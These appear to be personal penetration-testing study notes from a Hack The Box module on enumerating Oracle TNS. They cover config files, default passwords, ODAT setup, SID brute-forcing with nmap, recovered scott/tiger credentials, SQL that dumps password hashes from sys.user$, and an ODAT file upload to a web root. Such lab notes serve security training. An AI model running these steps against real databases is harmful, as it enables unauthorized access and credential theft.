17. Enumeration - Oracle TNS (1521)

Oracle Transparent Network Substrate

Communication protocol that facilitates commuication between oracle databases and applications over networks. Introduced as part of Oracle Net Services suite. https://docs.oracle.com/en/database/oracle/oracle-database/18/netag/introducing-oracle-net-services.html TNS supports various protocols between oracles dbs/clients i.e. IPX/SPX, and TCP/IP (ipx/spx is a deprecated protocol commonly used before winxp)

Preferred solution for large/complex dbs in healthcare,finance,retail built-in encryption mechanism ensures security of xmitted data

TNS has been updated to support ipv6 and ssl/tls encryption making it more suitable for:

   By default, the listener listens for incoming connections on the TCP/1521 port. However, this default port can be changed during installation or later in the configuration file.

TNS listener config'd to support various net protocols, tcp/ip ; ipx/spx ; AppleTalk aswell as support multiple network interfaces / listen on specific ip addresses or all available network interfaces. by default oracle TNS can be remotely managed in Oracle 8i/9i but not in Oracle 10g/11g

Listener includes some basic security measures

TNS often used with other oracle services i.e. :

The difference between default installation varies wildly. Oracle 9 has default password CHANGE_ON_INSTALL whereas oracle 10 does not have a default password. Oracle DBSNMP service also uses default password dbsnmp that we should remember when we come across this service. Other examples will be that organizations use the finger service together with Oracle, which can put Oracle's service at risk and make it vulnerable when we have the required knowledge of a home directory.

Each db/service has a unique entry in the tnsnames.ora file - containing necessary information for clients to connect to the service. ![](/img/Pasted image 20240716151655.png|600) Service name: ORCL Listening : 1521 Clients use svc orcl when connecting to svc. tnsnames.ora file can contain many such entries for different databases + sevcs - can also include add'tl info like auth details; connection pooling settings; load balancing configurations

listener.ora - server-side config file defining listener process properties + parameters, responsible for receiving incoming client reqs / forwarding them to appropriate oracle database instance EX:

SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PDB1)
      (ORACLE_HOME = C:\oracle\product\19.0.0\dbhome_1)
      (GLOBAL_DBNAME = PDB1)
      (SID_DIRECTORY_LIST =
        (SID_DIRECTORY =
          (DIRECTORY_TYPE = TNS_ADMIN)
          (DIRECTORY = C:\oracle\product\19.0.0\dbhome_1\network\admin)
        )
      )
    )
  )

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = orcl.inlanefreight.htb)(PORT = 1521))
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1521))
    )
  )

ADR_BASE_LISTENER = C:\oracle

In short, the client-side Oracle Net Services software uses the tnsnames.ora file to resolve service names to network addresses, while the listener process uses the listener.ora file to determine the services it should listen to and the behavior of the listener.

Oracle databases can be protected by using so-called PL/SQL Exclusion List (PlsqlExclusionList). It is a user-created text file that needs to be placed in the $ORACLE_HOME/sqldeveloper directory, and it contains the names of PL/SQL packages or types that should be excluded from execution. Once the PL/SQL Exclusion List file is created, it can be loaded into the database instance. It serves as a blacklist that cannot be accessed through the Oracle Application Server.

Oracle-Tools-setup.sh

Code: bash

#!/bin/bash

sudo apt-get install libaio1 python3-dev alien -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome

Oracle Database Attacking Tool (ODAT) is an open-source penetration testing tool written in Python and designed to enumerate and exploit vulnerabilities in Oracle databases. It can be used to identify and exploit various security flaws in Oracle databases, including SQL injection, remote code execution, and privilege escalation.

Nmap

  Oracle TNS

 nmap -p1521 -sV 10.129.46.135 --open --script oracle-sid-brute
odat.py all -s 10.129.204.235

[...]

[+] Accounts found on 10.129.149.78:1521/sid:XE:
scott/tiger

[...]

In this example, we found valid credentials for the user scott and his password tiger. After that, we can use the tool sqlplus to connect to the Oracle database and interact with it.

sqlplus is fucking broken

wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip && wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip && sudo mkdir -p /opt/oracle && sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip && sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip && cd /opt/oracle/instantclient_21_4 && find . -type f | sort && export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH && export PATH=$LD_LIBRARY_PATH:$PATH && source ~/.zshrc && sqlplus -V

script above works to install it (thank jesus)

some TNS commands

select table_name from all_tables;
select * from user_role_privs;
select name, password from sys.user$;

file upload

stejwes@htb[/htb]$ echo "Oracle File Upload Test" > testing.txt
stejwes@htb[/htb]$ ./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt